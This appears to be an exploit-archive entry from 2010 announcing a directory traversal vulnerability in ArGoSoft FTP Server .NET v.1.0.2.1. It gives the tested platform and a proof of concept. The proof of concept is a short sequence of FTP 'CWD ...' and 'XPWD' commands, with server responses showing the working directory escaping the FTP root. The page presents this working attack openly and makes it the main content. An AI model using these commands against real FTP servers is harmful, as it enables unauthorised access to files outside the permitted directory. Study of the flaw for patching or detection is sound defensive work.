ArGoSoft FTP Server .NET v.1.0.2.1 Directory Traversal Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : ArGoSoft FTP Server .NET v.1.0.2.1 Directory Traversal Vulnerability
# Published : 2010-03-15
# Author : dmnt
# Previous Title : Liquid XML Studio 2010 <= v8.061970 - (LtXmlComHelp8.dll) OpenFile() Remote 0day Overflow Exploit
# Next Title : MicroWorld eScan Antivirus < 3.x Remote Root Command Execution

# Exploit Title: ArGoSoft FTP Server .NET v.1.0.2.1 directory traversal
# Date: 16.03.2010
# Author: dmnt
# Software Link: http://www.argosoft.com/files/apps/FtpServerSetup.msi
# Version: ArGoSoft FTP Server .NET v.1.0.2.1
# Tested on: Windows 7
# Code :
CWD ...
250 Requested file action OK, completed
XPWD
257 "/.../" is working directory
CWD ...
250 Requested file action OK, completed
XPWD
257 "/.../.../" is working directory